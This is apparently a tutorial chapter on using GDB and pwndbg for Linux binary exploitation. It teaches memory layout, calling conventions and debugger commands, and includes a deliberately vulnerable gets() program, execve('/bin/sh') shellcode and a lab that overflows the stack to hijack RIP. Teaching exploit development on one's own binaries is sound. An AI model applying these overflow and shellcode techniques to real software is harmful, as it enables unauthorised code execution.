GDB, pwndbg & Debugging Native Binaries
This is Chapter 1 of the Binary Exploitation notebook. Before you can overflow a buffer, chain a ROP gadget, or groom a heap, you have to be able to see — precisely, instruction by instruction — what a native program is doing to its registers, its stack, and its memory. That instrument is the debugger, and for Linux userland binary exploitation the debugger is GDB, dramatically upgraded by the pwndbg extension. This chapter teaches the debugger from zero and builds the mental model of process memory that every later chapter assumes.
Everything downstream — Chapter 2’s stack overflows, Chapter 3’s return-oriented programming, Chapter 4’s ASLR and canary bypasses, Chapter 5’s format strings, Chapter 6’s heap exploitation — is really “make the program do something the programmer did not intend, and watch it happen in the debugger until it works.” If you are fluent here, those chapters are mechanics. If you are not, they are magic. So we go slowly and concretely, with real commands and real output.
A note on ethics and scope up front: everything in this notebook targets binaries you own or are explicitly authorised to test — CTF challenges, deliberately vulnerable practice binaries, and your own code. Debugging and exploiting software you do not have permission to test is illegal in most jurisdictions. The skills are the same ones a vulnerability researcher uses to find and report bugs so they get fixed; use them that way.
Part 1: What a Debugger Actually Does
Section titled “Part 1: What a Debugger Actually Does”A debugger is a program that controls another program’s execution. On Linux it does this through the ptrace(2) system call, which lets one process (the tracer, GDB) stop, inspect, and modify another (the tracee, your target). When you set a breakpoint, GDB overwrites the target instruction’s first byte with 0xCC (the int3 software-breakpoint opcode); when the CPU hits it, it traps into the kernel, the kernel notifies GDB, GDB restores the original byte and hands you control. Understanding that breakpoints are literally patched bytes demystifies a lot of later behaviour (self-checking code notices its own 0xCC; that is an anti-debugging trick).
The three superpowers a debugger gives you:
- Stop time. Freeze the process at any instruction and look around.
- See everything. Read every register, every byte of memory, the stack, the heap.
- Change everything. Overwrite a register or a memory byte and continue, testing a hypothesis in seconds instead of recompiling.
flowchart LR
A[GDB tracer] -- ptrace ATTACH/CONT --> B[Target tracee]
B -- SIGTRAP on int3 --> A
A -- read/write regs+mem --> B
A -- single-step --> B
For binary exploitation specifically, the debugger is where you answer the only two questions that matter: “Do I control this value?” and “What happens when I do?” Control of the instruction pointer (RIP) is the grand prize; the debugger is how you confirm you have it.
Part 2: Process Memory Layout — The Map You Must Have Memorized
Section titled “Part 2: Process Memory Layout — The Map You Must Have Memorized”Every exploit is navigation through a process’s virtual address space. You cannot navigate a map you have not internalised. A Linux x86-64 process is laid out, from low addresses to high, roughly like this:
Low addresses 0x400000 (no-PIE) / random (PIE) .text <- executable code (r-x) .rodata <- constants, format strings (r--) .data <- initialised globals (rw-) .bss <- zero-initialised globals (rw-) grows up -> [heap] <- malloc/free arena (rw-) [mmap] <- shared libs (libc), large allocations grows down <- [stack] <- local variables, return addresses (rw-)0x7fff... high [vdso/vsyscall], argv/envp at the very topHigh addressesKey facts to burn in:
| Region | Direction it grows | What lives there | Why the exploiter cares |
|---|---|---|---|
.text | fixed | machine code | source of ROP gadgets; target of hijacked control flow |
.rodata | fixed | string constants, format strings | "%s", /bin/sh sometimes lives here |
.data/.bss | fixed | globals | GOT/function pointers here are overwrite targets |
| heap | upward | malloc chunks | Chapter 6’s whole battlefield |
| stack | downward | locals, saved RBP, return address | Chapter 2’s buffer overflows |
| libc (mmap) | fixed per-run | system, /bin/sh, one-gadgets | the ROP/ret2libc goldmine |
The single most consequential detail for a beginner: the stack grows toward lower addresses, but arrays and buffers are written toward higher addresses. That mismatch is the entire reason a stack buffer overflow can overwrite a saved return address that sits after (above) the buffer. We will see this literally in the debugger later in this chapter.
You can see the real map of any running process:
# The kernel's own view of the process address spacecat /proc/<pid>/maps# 555555554000-555555555000 r-xp ... /home/ctf/vuln <- .text (PIE base)# 7ffff7dc0000-7ffff7fb0000 r-xp ... /usr/lib/libc.so.6 <- libc code# 7ffffffde000-7ffffffff000 rw-p ... [stack]Inside GDB with pwndbg the same information is one command (vmmap), which we reach in Part 6.
Part 3: Registers and the x86-64 Calling Convention
Section titled “Part 3: Registers and the x86-64 Calling Convention”Chapter 4 of the Malware notebook covered assembly; here we focus on the register facts an exploiter uses constantly. On x86-64 there are sixteen 64-bit general-purpose registers plus RIP and RFLAGS:
| Register | Conventional role | Exploiter’s interest |
|---|---|---|
RIP | instruction pointer | the prize — control it and you control execution |
RSP | stack pointer | points at the top of the stack; pivot target |
RBP | frame/base pointer | old frame anchor; overwritten in classic overflows |
RAX | return value / syscall number | holds function return; syscall selector |
RDI, RSI, RDX, RCX, R8, R9 | 1st–6th integer args | you set these to call functions your way |
R10–R15 | scratch/callee-saved | gadget material |
The System V AMD64 calling convention is non-negotiable knowledge because every ret2libc and ROP chain depends on it: the first six integer/pointer arguments go in RDI, RSI, RDX, RCX, R8, R9, in that order; the return value comes back in RAX; further arguments spill onto the stack. So to make the target call system("/bin/sh"), you need RDI to point at the string "/bin/sh" and then to jump to system. Memorise RDI, RSI, RDX, RCX, R8, R9 — say it out loud.
flowchart LR
A["call func(a,b,c,d,e,f)"] --> B["RDI=a RSI=b RDX=c<br/>RCX=d R8=e R9=f"]
B --> C["execute func"]
C --> D["result in RAX"]
The call instruction pushes the return address onto the stack and jumps; ret pops the top of the stack into RIP. That one sentence is the seed of return-oriented programming: ret blindly trusts whatever is on top of the stack. If you control the stack, you control where ret goes. Hold that thought until Chapter 3.
The syscall convention is different — and you must not confuse the two
Section titled “The syscall convention is different — and you must not confuse the two”When you invoke a kernel service directly with the syscall instruction (as shellcode does, and as ROP chains sometimes do to call execve without libc), the convention changes in two ways that trip up everyone once:
- The syscall number goes in
RAX(e.g.execveis 59,readis 0,writeis 1 on x86-64). - The arguments are
RDI, RSI, RDX, **R10**, R8, R9— note R10 replaces RCX as the fourth argument, because thesyscallinstruction itself clobbers RCX (it stores the return RIP there).
; execve("/bin/sh", NULL, NULL) as raw shellcodemov rax, 59 ; __NR_execvelea rdi, [rel binsh] ; 1st arg: pointer to "/bin/sh"xor rsi, rsi ; 2nd arg: argv = NULLxor rdx, rdx ; 3rd arg: envp = NULLsyscall| Convention | Selector | Args (in order) | 4th arg quirk |
|---|---|---|---|
| Function (System V) | — | RDI, RSI, RDX, RCX, R8, R9 | RCX |
| Syscall | RAX = number | RDI, RSI, RDX, R10, R8, R9 | R10 (RCX clobbered) |
Keep both tables in your head: a ret2libc calls system with the function convention (RDI), while a syscall-ROP execve uses the syscall convention (RAX=59, R10 for arg 4). Mixing them up produces a chain that silently does nothing.
Part 4: The ELF and the Loader — What Runs Before main
Section titled “Part 4: The ELF and the Loader — What Runs Before main”When you run ./vuln, main is not the first code to execute. The kernel maps the ELF, the dynamic loader (ld-linux-x86-64.so.2) resolves shared libraries, runs initialisers, and only then calls main via the C runtime (__libc_start_main). Two loader mechanisms matter enormously for exploitation:
- The PLT (Procedure Linkage Table) and GOT (Global Offset Table). Because libc’s address is not known until runtime (especially with ASLR), calls to library functions like
printfgo through a stub in the PLT that, on first call, asks the loader to resolve the real address and caches it in the GOT. The GOT is a table of function pointers in writable memory — overwrite an entry and the next call to that function jumps wherever you point it. This is a primary exploitation target (Chapter 5 uses it heavily). - Lazy vs. now binding, and RELRO. “Full RELRO” makes the GOT read-only after startup, closing the overwrite. Whether RELRO is on decides whether a GOT overwrite is even possible — you will check this on every target.
Check a binary’s protections before you do anything else, with checksec (pwndbg ships it; pwntools also provides it):
pwn checksec ./vuln# Arch: amd64-64-little# RELRO: Partial RELRO <- GOT still writable -> overwrite possible# Stack: No canary found <- stack overflow won't be caught -> Chapter 2 works# NX: NX enabled <- stack not executable -> need ROP/ret2libc (Ch 3)# PIE: No PIE (0x400000) <- fixed code base -> gadget addresses are staticThat five-line output is your exploit strategy in a nutshell: no canary means a straight overflow reaches the return address; NX means you cannot just run shellcode on the stack, so you will return into existing code (ROP); no PIE means every gadget address is fixed and you do not need a leak to defeat ASLR of the binary itself. Reading checksec correctly is the difference between a two-hour solve and a two-day flail.
sequenceDiagram
participant K as Kernel
participant L as ld-linux (loader)
participant C as __libc_start_main
participant M as main
K->>L: map ELF, hand control to loader
L->>L: map libc, resolve symbols, run init
L->>C: jump to CRT entry
C->>M: call main(argc, argv, envp)
Note over M: your code finally runs
Part 5: Installing and Launching GDB + pwndbg
Section titled “Part 5: Installing and Launching GDB + pwndbg”What GDB is. GDB (the GNU Debugger) is the standard source- and machine-level debugger for Unix. On its own it is powerful but terse; its default views are text-only and it shows you very little context automatically.
Why pwndbg exists. pwndbg is a GDB plugin built specifically for exploit development and reverse engineering. Every time you stop, it prints a rich “context” — registers, disassembly around RIP, the stack, and the call backtrace — all colourised and annotated, plus dozens of exploitation-focused commands (cyclic, telescope, heap, rop, vmmap). Two mature alternatives exist — GEF and peda — and they are interchangeable in spirit; this chapter uses pwndbg because it has the best heap and context tooling, which later chapters lean on.
Install on Kali/Ubuntu:
# GDB is usually already presentsudo apt update && sudo apt install -y gdb
# Install pwndbg (the maintained setup script)git clone https://github.com/pwndbg/pwndbgcd pwndbg && ./setup.sh# It appends "source /path/to/pwndbg/gdbinit.py" to your ~/.gdbinit
# Verifygdb -q ./vuln# pwndbg>The prompt changing to pwndbg> confirms the plugin loaded. From here, “GDB” and “pwndbg” are used interchangeably — pwndbg is just GDB with the good stuff turned on.
Useful .gdbinit settings
Section titled “Useful .gdbinit settings”A few settings, dropped into ~/.gdbinit (after the pwndbg source line), pay for themselves every session:
set disassembly-flavor intel # Intel syntax (mov rax, rbx) not AT&T (movq %rbx,%rax)set follow-fork-mode child # follow the child on fork (servers)set pagination off # never stop with "---Type <return>---"set history save on # remember your command history across sessionsset history size 100000# pwndbg-specific niceties:set context-sections regs disasm code stack backtraceIntel syntax alone is worth it: nearly all exploitation write-ups, Ghidra, and this notebook use Intel order (destination, source), so matching it removes a constant mental translation. You can flip per-session with set disassembly-flavor intel if you forget.
Launch styles you will use:
gdb -q ./vuln # start GDB on the binarygdb -q --args ./vuln AAAA # pass command-line args to the targetgdb -q -p 1337 # attach to a running process by PIDgdb -q ./vuln core # post-mortem: load a crash core dumpPart 6: The Core GDB Commands (Taught From Zero)
Section titled “Part 6: The Core GDB Commands (Taught From Zero)”Everything in GDB has a short alias; you will type the short forms all day. Here is the working set, grouped by purpose, each with what it does and why an exploiter reaches for it.
6.1 Running and controlling execution
Section titled “6.1 Running and controlling execution”run # (r) start the programstart # run and break at main automaticallycontinue # (c) resume until the next breakpoint/signalstepi # (si) execute ONE machine instruction, stepping INTO callsnexti # (ni) execute one instruction, stepping OVER callsstep / next # (s/n) same but at C source-line granularity (needs symbols)finish # run until the current function returnskill # (k) stop the targetFor exploitation you live in si/ni (instruction granularity), because the bug is at the instruction level, not the source-line level. finish is invaluable for “let this call complete and show me the return value in RAX.”
6.2 Breakpoints, watchpoints, catchpoints
Section titled “6.2 Breakpoints, watchpoints, catchpoints”break main # (b) break at symbol mainbreak *0x401156 # break at an exact address (note the *)break vuln.c:42 # break at a source linetbreak *0x401156 # one-shot breakpoint (auto-deletes after firing)info breakpoints # (i b) list themdelete 2 # remove breakpoint #2
watch global_flag # break when the VALUE of global_flag changes (data breakpoint)rwatch buf # break when buf is READawatch buf # break on read OR write
catch syscall execve # break when the process calls execve — great for proving RCEWatchpoints are the underrated hero of exploitation: when you overflow a buffer and something three functions later crashes, watch the corrupted variable and GDB stops you at the exact instruction that clobbered it. That is root-cause analysis in one command. Blue-team / VR crossover: the same catch syscall execve is how you prove a proof-of-concept actually achieved code execution — you show the debugger stopping the instant a shell is spawned.
6.3 Examining memory: the x command
Section titled “6.3 Examining memory: the x command”x (examine) is the workhorse. Its syntax is x/NFU address — Count, Format, Unit:
x/8xg $rsp # 8 heXadecimal Giant(8-byte) words starting at RSP <- read the stackx/16xb $rdi # 16 hex Bytes at RDIx/s 0x402004 # a null-terminated Stringx/4i $rip # 4 Instructions at RIP (disassemble)x/wx &global # one hex Word (4 bytes) at the address of 'global'Format letters: x hex, d decimal, u unsigned, s string, i instruction, c char. Unit letters: b byte, h half(2), w word(4), g giant(8). You will type x/40xg $rsp more than any other command in your exploitation career — it dumps forty 8-byte stack slots so you can find your input.
6.4 Registers and inspection
Section titled “6.4 Registers and inspection”info registers # (i r) all registersp $rdi # print one register/expressionp/x $rax # print RAX in hexp (char*)$rdi # interpret RDI as a C string pointerinfo functions # list known symbolsinfo proc mappings # memory map (pwndbg: vmmap is nicer)6.5 Modifying state — testing hypotheses instantly
Section titled “6.5 Modifying state — testing hypotheses instantly”set $rip = 0x401200 # redirect execution (prove you control a target)set $rdi = 0x402010 # set an argument registerset {int}0x601040 = 0xdead # write 4 bytes into memoryset var global_flag = 1 # change a C variable by nameBeing able to edit state is what makes the debugger a laboratory. “Would the program give me a shell if RDI pointed at /bin/sh and RIP were system?” You do not theorise — you set the registers and continue, and you have your answer in five seconds.
Part 7: pwndbg’s Context and Exploitation Commands
Section titled “Part 7: pwndbg’s Context and Exploitation Commands”This is where pwndbg earns its place. Every time execution stops, pwndbg auto-prints a context: registers (with changed ones highlighted), disassembly around RIP, the stack, and the backtrace. You rarely have to ask for state — it is already on screen.
pwndbg> context # reprint the full context on demandpwndbg> context regs # just registerspwndbg> context stack # just the stackThe commands you will use constantly:
vmmap # the full, colour-coded memory map (which regions are r/w/x)telescope $rsp 30 # dump 30 stack slots, dereferencing pointers recursivelytelescope $rdi # follow RDI as far as it points — great for finding stringsregs # registers (shorthand)stack 20 # 20 words of stacknearpc / u $rip # disassemble around RIPsearch -t bytes "/bin/sh" # find "/bin/sh" anywhere in memorysearch -x deadbeef # search for a hex valuetelescope is the standout: it does not just print addresses, it follows each one and shows you what it points to, chaining until it hits a non-pointer. That is exactly how you spot “this stack slot points into libc, which points to a function” — the essence of leaking and pivoting.
Cyclic patterns — finding the offset without counting
Section titled “Cyclic patterns — finding the offset without counting”The most common early task is “how many bytes until I reach the return address?” pwndbg’s cyclic generates a De Bruijn sequence in which every 4- or 8-byte substring is unique, so a single crash tells you the exact offset:
pwndbg> cyclic 200aaaaaaaabaaaaaaacaaaaaaadaaaaaaa... # feed this to the program as input
# after it crashes controlling RSP/RIP, take the 8 bytes now in RSP:pwndbg> cyclic -l 0x6161616161616166 # or cyclic -l faaaaaaaFinding cyclic pattern of 8 bytes: b'faaaaaaa' found at offset 72Offset 72. No counting, no off-by-ones. This single technique saves hours in Chapter 2 and beyond.
flowchart LR
A[cyclic 200 -> input] --> B[program crashes]
B --> C[read RSP/RIP value]
C --> D["cyclic -l value -> offset = 72"]
D --> E[now you know padding length exactly]
Convenience variables, display, and conditional breakpoints
Section titled “Convenience variables, display, and conditional breakpoints”Three GDB features turn a tedious manual session into an efficient one, and every exploit developer uses them constantly.
Convenience variables are your own $-prefixed scratch variables — perfect for stashing a leaked address:
pwndbg> set $libc = 0x7ffff7dc0000 # store a base you leakedpwndbg> p/x $libc + 0x50d60 # compute system() relative to it$1 = 0x7ffff7e10d60pwndbg> p $rsp - $rbp # arithmetic on live registersdisplay auto-prints an expression every time execution stops, so you can watch a value evolve as you single-step — invaluable for watching a loop index or a pointer march through a buffer:
pwndbg> display/x $rax # show RAX in hex after every steppwndbg> display/8xg $rsp # keep 8 stack slots on screen continuouslypwndbg> info display # list active auto-displayspwndbg> undisplay 1 # remove oneConditional breakpoints fire only when a predicate holds — essential when a function is called ten thousand times but you care about the one call where len > 512:
pwndbg> break parse if len > 512 # stop only on the oversized inputpwndbg> break *0x401200 if $rdi == 0 # stop only when arg is NULLpwndbg> ignore 2 100 # skip the next 100 hits of breakpoint #2pwndbg> commands 2 # attach auto-commands to a breakpoint> telescope $rsp 6> continue> endThe commands block is a mini-macro: “every time you hit this breakpoint, dump the stack and keep going,” giving you a running trace with zero manual interaction. VR use case: conditional breakpoints are how you catch the specific malformed record that triggers a bug inside a parser that processes millions of well-formed ones.
Part 7B: TUI, Disassembly Navigation, and Symbols
Section titled “Part 7B: TUI, Disassembly Navigation, and Symbols”TUI mode — a split-screen debugger
Section titled “TUI mode — a split-screen debugger”GDB’s Text User Interface (tui) splits the terminal into source/assembly, register, and command panes, so you watch the disassembly and registers update as you step, without retyping context:
pwndbg> tui enable # or start gdb with: gdb -tui ./vulnpwndbg> layout asm # assembly panepwndbg> layout regs # add a registers panepwndbg> layout split # source + assembly together# Ctrl-x o switches focus between panes; Ctrl-L redraws if it garblespwndbg> tui disableMany exploit developers prefer pwndbg’s own context over TUI because it is richer and does not garble on resize, but TUI is excellent when you want to watch the instruction pointer walk through a routine line by line.
Disassembly and cross-references
Section titled “Disassembly and cross-references”pwndbg> disassemble greet # full function disassemblypwndbg> disassemble 0x401156,+40 # 40 bytes from an addresspwndbg> nearpc 10 # 10 instructions around RIP (pwndbg)pwndbg> info line *0x401180 # which source line an address maps topwndbg> info symbol 0x401156 # which symbol an address belongs to -> "win"pwndbg> p &win # address of a symbolpwndbg> info functions ^gr # list symbols matching a regexinfo symbol and its inverse p &sym are the two you use to bridge “an address in a crash” ↔ “a human-readable function name,” which is most of what triage is: turning RIP = 0x401180 into “it faulted at the ret of greet.”
Working with stripped binaries
Section titled “Working with stripped binaries”A stripped binary has no symbol table, so break main and disassemble greet fail. You recover:
pwndbg> info file # shows the entry point addresspwndbg> entry # pwndbg: break at the ELF entry pointpwndbg> break *0x401156 # break by raw address (from your static analysis)pwndbg> x/20i $pc # read instructions to orient yourselfpwndbg heuristically finds main even when stripped by tracing the argument to __libc_start_main, but on hardened targets you work purely by address, cross-referencing what you found in Ghidra/radare2 (from the Malware notebook’s Chapter 5).
Part 8: Reading the Stack Like an Exploiter
Section titled “Part 8: Reading the Stack Like an Exploiter”Let us make the “stack grows down, buffers grow up” fact concrete. Consider this deliberately vulnerable program:
// vuln.c — compile: gcc -fno-stack-protector -no-pie -g -o vuln vuln.c#include <stdio.h>#include <string.h>
void win(void) { puts("you win — shell would go here"); }
void greet(void) { char name[32]; printf("name? "); gets(name); // the classic unbounded read — no length check printf("hi %s\n", name);}
int main(void) { greet(); return 0; }Set a breakpoint after gets and inspect the frame:
gdb -q ./vulnpwndbg> break greetpwndbg> runpwndbg> nextcall gets # run until just after gets returns (or: b *greet+offset)pwndbg> telescope $rsp 1200:0000│ rsp 0x7fffffffe360 —▸ 0x4141414141414141 ('AAAAAAAA') <- our input starts here01:0008│ 0x7fffffffe368 —▸ 0x4141414141414141 ('AAAAAAAA')...04:0020│ 0x7fffffffe380 —▸ 0x4141414141414141 ('AAAAAAAA')05:0028│ rbp 0x7fffffffe388 —▸ 0x4242424242424242 ('BBBBBBBB') <- saved RBP overwritten06:0030│ 0x7fffffffe390 —▸ 0x4343434343434343 ('CCCCCCCC') <- SAVED RETURN ADDRESSRead that dump carefully — it is the whole of stack exploitation in one screen. Our name[32] buffer begins low; as gets writes our input it fills toward higher addresses; after 32 bytes of A it reaches the saved RBP (the Bs at rbp) and then the saved return address (the Cs at rbp+8). When greet executes its ret, it will pop 0x4343434343434343 into RIP and crash — or, if we put the address of win there instead of Cs, it will call win. That is Chapter 2, previewed. Right now the point is simply: you can see it. The debugger turns an abstract vulnerability into six lines of visible memory.
Part 9: Scripting GDB — Batch, Command Files, and Python
Section titled “Part 9: Scripting GDB — Batch, Command Files, and Python”Doing this by hand is fine for learning; for real work you script it so a run is reproducible and fast.
9.1 Command files and one-liners
Section titled “9.1 Command files and one-liners”# Run a fixed sequence non-interactively (great for CI-style repro)gdb -q -batch \ -ex 'break greet' -ex 'run' \ -ex 'telescope $rsp 12' -ex 'quit' ./vuln
# Or keep the recipe in a file:cat > cmds.gdb <<'EOF'break greetruntelescope $rsp 12EOFgdb -q -x cmds.gdb ./vuln9.2 The GDB Python API
Section titled “9.2 The GDB Python API”GDB embeds a full Python interpreter (python / py). You can read registers, memory, set breakpoints with callbacks, and automate an entire crash-triage:
# triage.py — run with: gdb -q -x triage.py ./vulnimport gdb
class OnCrash(gdb.Command): def __init__(self): super().__init__("triage", gdb.COMMAND_USER) def invoke(self, arg, from_tty): gdb.execute("run < payload.bin") # feed input rip = int(gdb.parse_and_eval("$rip")) # read RIP after crash rsp = int(gdb.parse_and_eval("$rsp")) print(f"[+] crashed: RIP={rip:#x} RSP={rsp:#x}") # dump 16 stack slots print(gdb.execute(f"x/16xg {rsp}", to_string=True))
OnCrash()In practice you rarely hand-roll this because pwntools (taught in depth in Chapter 2) wraps GDB scripting in a clean gdb.attach(io, gdbscript="...") API. But knowing the raw Python API means you are never stuck when a task needs bespoke automation — mass-testing offsets, scripting a heap-state dump after every malloc, etc.
Part 10: Reverse Debugging and Watchpoint-Driven Root Cause
Section titled “Part 10: Reverse Debugging and Watchpoint-Driven Root Cause”GDB can run a program backwards. After target record-full (or record), you can reverse-continue and reverse-stepi to walk execution in reverse from a crash to its cause. This is extraordinary for “what set this register to garbage three thousand instructions ago?”
pwndbg> startpwndbg> record # begin recording execution historypwndbg> continue # ... program crashes with SIGSEGVpwndbg> reverse-stepi # step BACKWARD one instructionpwndbg> reverse-continue # run backward to the previous breakpoint/watchpointCombined with a watchpoint, this is the fastest root-cause loop in existence: watch the corrupted value, reverse-continue, and GDB stops at the exact instruction that wrote the bad data. Recording is slow (it logs every instruction), so scope it: start recording just before the suspect region, not from main.
flowchart TD
A[SIGSEGV: RIP = garbage] --> B[watch the clobbered value]
B --> C[reverse-continue]
C --> D[stops at the instruction that wrote it]
D --> E[root cause identified]
Part 11: Remote Debugging with gdbserver
Section titled “Part 11: Remote Debugging with gdbserver”Often the target runs somewhere you cannot run a full GDB — a stripped embedded box, a container, a CTF’s remote service, or a different architecture you debug via QEMU. gdbserver runs a tiny stub on the target and you connect your local GDB to it over TCP.
# On the target machine:gdbserver 0.0.0.0:1234 ./vuln# Listening on port 1234
# On your machine:gdb -q ./vulnpwndbg> target remote TARGET_IP:1234pwndbg> continueFor cross-architecture work (debugging an ARM or MIPS binary on your x86 box), run the binary under qemu-arm -g 1234 ./vuln and connect the same way with a matching gdb-multiarch. VR use case: this is how you debug router/IoT firmware binaries you have extracted — emulate under QEMU, attach GDB, and study the crash without owning the physical device.
Part 11C: Inspecting the Heap, Canary, and TLS
Section titled “Part 11C: Inspecting the Heap, Canary, and TLS”Two of pwndbg’s most valuable capabilities preview whole later chapters, and being able to see these structures now will make Chapters 4 and 6 far less abstract.
The stack canary, visualised
Section titled “The stack canary, visualised”A stack canary is a random value the compiler places between local buffers and the saved return address; the function checks it before returning and aborts if it changed. pwndbg shows you exactly where it lives:
pwndbg> canaryAT_RANDOM = 0x7fffffffe4a9 # kernel-provided random seedCanary = 0x2b7c9f1e8a4d0100 # note the null low byte — a deliberate hardening detailFound valid canaries on the stacks:00:0000│ 0x7fffffffe378 ◂— 0x2b7c9f1e8a4d0100 # this qword must survive the overflowThe canary’s least-significant byte is always 0x00 so that a string-based overflow (which stops at a null) cannot trivially copy over and restore it. That single design fact is why Chapter 4’s canary-bypass techniques revolve around leaking the canary rather than guessing it — and here you can see the null byte with your own eyes.
The heap, live
Section titled “The heap, live”pwndbg> heap # walk the main arena's chunksAllocated chunk | PREV_INUSEAddr: 0x5555555592a0Size: 0x21 # 0x20 usable + inuse bit...pwndbg> bins # show the free lists (tcache, fastbins, unsorted, small, large)tcachebins0x20 [ 1]: 0x5555555592a0 —▸ 0x0fastbins0x20: 0x0unsortedbinall: 0x0pwndbg> vis_heap_chunks # colourised chunk-by-chunk visualisation of the heapheap, bins, and vis_heap_chunks are the instruments of Chapter 6. Right now the takeaway is that the glibc heap is a set of size-segregated free lists (tcache, fastbins, unsorted, small, large), and pwndbg renders their exact state at any moment. When you later corrupt a chunk’s metadata, you will watch these lists change and confirm your grooming worked.
Thread-Local Storage and where the canary is stored
Section titled “Thread-Local Storage and where the canary is stored”pwndbg> tls # base of the thread-control block; the canary lives at tls+0x28pwndbg> telescope $fs_base 8The canary’s master copy sits in TLS at fs:0x28; every function prologue reads it from there and the epilogue compares. Knowing this is why “leak the TLS canary once and reuse it” is a valid bypass strategy — you are reading one fixed location.
| pwndbg command | Shows | Chapter it powers |
|---|---|---|
canary | stack canary value + location | Ch 4 (canary bypass) |
heap / bins | live chunk + free-list state | Ch 6 (heap exploitation) |
vis_heap_chunks | visual heap layout | Ch 6 (grooming) |
tls / $fs_base | thread-local storage, canary master | Ch 4 |
got / plt | resolved/unresolved library pointers | Ch 3, Ch 5 |
Part 12: Hands-On Lab — From SIGSEGV to Controlled RIP
Section titled “Part 12: Hands-On Lab — From SIGSEGV to Controlled RIP”This lab takes the vuln.c from Part 8 and walks the full loop a vulnerability researcher runs on every crash: reproduce, locate the offset, prove control of RIP, and redirect execution to win(). You will not write a full exploit script here (that is Chapter 2) — the goal is debugger fluency and proving control.
Step 1 — Build and confirm the target’s protections
Section titled “Step 1 — Build and confirm the target’s protections”gcc -fno-stack-protector -no-pie -g -o vuln vuln.cpwn checksec ./vuln# RELRO: Partial | Stack: No canary | NX: enabled | PIE: No PIE# Read: no canary + no PIE -> a straight overflow to a fixed win() address will work.
# Get win()'s address — it's fixed because No PIEnm ./vuln | grep win# 0000000000401156 T winStep 2 — Reproduce the crash
Section titled “Step 2 — Reproduce the crash”gdb -q ./vulnpwndbg> cyclic 200aaaaaaaabaaaaaaac... # copy thispwndbg> runname? <paste the cyclic pattern># Program received signal SIGSEGV# ... pwndbg context shows:# RSP 0x7fffffffe390 ◂— 'kaaaaaaalaaaaaaa...'# RIP 0x401180 (greet+...) <- crashed at the retStep 3 — Find the exact offset to the return address
Section titled “Step 3 — Find the exact offset to the return address”# The 8 bytes sitting where the return address should be, at RSP after the ret executes:pwndbg> cyclic -l kaaaaaaaFinding cyclic pattern of 8 bytes: b'kaaaaaaa' found at offset 40# 40 bytes of padding reach the saved return address.Sanity-check against the source: name[32] + 8 bytes saved RBP = 40 bytes before the return address. The debugger agrees with the math — always confirm both.
Step 4 — Prove control of RIP
Section titled “Step 4 — Prove control of RIP”Craft an input of 40 filler bytes then eight bytes marking the return slot, and confirm RIP takes our value:
pwndbg> run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"BBBBBBBB")')# Program received signal SIGSEGVpwndbg> p $rip$1 = 0x401180 # it faulted trying to RETURN into 0x4242424242424242pwndbg> x/gx $rsp-80x...: 0x4242424242424242 # our 'BBBBBBBB' is exactly where ret pops from -> WE CONTROL RIPThe 0x42 bytes landing in the return slot is the money shot: we control the instruction pointer. In a report or CTF write-up this is the “proof of control” milestone.
Step 5 — Redirect to win()
Section titled “Step 5 — Redirect to win()”Replace the eight Bs with the little-endian address of win (0x401156):
pwndbg> run < <(python3 -c 'import sys,struct; sys.stdout.buffer.write(b"A"*40 + struct.pack("<Q",0x401156))')# you win — shell would go herestruct.pack("<Q", 0x401156) writes the 8-byte little-endian address. The program prints the win message — we redirected execution to a function that was never supposed to be called. That is the entire skeleton of control-flow hijacking, done entirely inside the debugger.
Step 6 — Root-cause with a watchpoint (bonus)
Section titled “Step 6 — Root-cause with a watchpoint (bonus)”To see the moment the return address is clobbered:
pwndbg> break greetpwndbg> runpwndbg> p $rbp # note the frame; return addr is at rbp+8pwndbg> watch *(long*)($rbp+8) # watch the saved return address slotpwndbg> continue# Hardware watchpoint: old value = 0x401189 (main+..) new value = 0x4141414141414141# ...stopped inside gets() at the exact write that overwrote the return address.The watchpoint stops you at the precise instruction inside gets that overwrites the return address — the definitive root cause. That is the technique you will reuse for every “something got corrupted and I don’t know where” bug for the rest of this notebook.
Part 12B: Attaching to a Live Service and Core-Dump Triage
Section titled “Part 12B: Attaching to a Live Service and Core-Dump Triage”Not every target is a program you run from a prompt. Two extremely common real-world situations are a long-running network service and a crash you only have a core file for.
Attaching to a running process
Section titled “Attaching to a running process”A network daemon that forks a child per connection cannot be driven with run < payload; you attach to the live process instead. The workflow:
# Find the PID of the running servicepgrep -a vulnserver# 4711 ./vulnserver
# Attach — GDB stops the process wherever it currently isgdb -q -p 4711pwndbg> vmmap # confirm libc base, stack, heap for THIS runpwndbg> break *0x401200 # set your breakpointpwndbg> continue # let it run; now trigger the bug from the networkTwo gotchas specific to attaching:
set follow-fork-mode child— if the service forks to handle each client, tell GDB to follow the child that actually processes your input, or you will sit in the idle parent.set detach-on-fork offkeeps both under control.- Yama ptrace_scope. Modern kernels restrict attaching to non-child processes. If attach fails with “Operation not permitted,” either run GDB as root, or lower the restriction on a lab box only:
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope. Never disable this on a production host — it is a real hardening control (see Part 13).
sequenceDiagram
participant S as vulnserver (pid 4711)
participant G as GDB (attached)
participant C as Client / your payload
G->>S: ptrace ATTACH (process stops)
G->>S: set breakpoint, follow-fork child, continue
C->>S: send malicious request
S-->>G: SIGTRAP at breakpoint
G->>G: inspect regs/stack for THIS live connection
Post-mortem: core-dump triage
Section titled “Post-mortem: core-dump triage”When a program crashes it can drop a core dump — a snapshot of its memory and registers at the fault. You debug it without re-running anything, which is how you triage a crash you cannot reproduce on demand.
# Ensure cores are written (size unlimited) and find where they goulimit -c unlimitedcat /proc/sys/kernel/core_pattern # where the kernel writes cores (or systemd-coredump)
# Trigger the crash, then load the core with the binarygdb -q ./vuln ./corepwndbg> bt # backtrace at the moment of deathpwndbg> info registers # RIP/RSP exactly as they were at the faultpwndbg> x/16xg $rsp # the stack that caused itpwndbg> p $rip # 0x4141414141414141 -> controlled RIP, proven from a coreIf your distro uses systemd-coredump, retrieve the core with coredumpctl:
coredumpctl list # recent crashescoredumpctl gdb vuln # open the latest core for 'vuln' straight in GDBcoredumpctl dump vuln -o core # export the raw core fileVR use case: a fuzzer (Chapter 8) produces thousands of crashing inputs; you do not re-run each interactively — you collect cores (or run under a harness) and triage them post-mortem, bucketing by the faulting RIP. Core-dump fluency is what makes crash triage scale.
Part 13: Detection & Defense Angle
Section titled “Part 13: Detection & Defense Angle”Debugging is a neutral instrument, but the same primitives cut both ways, and a security engineer should understand both edges.
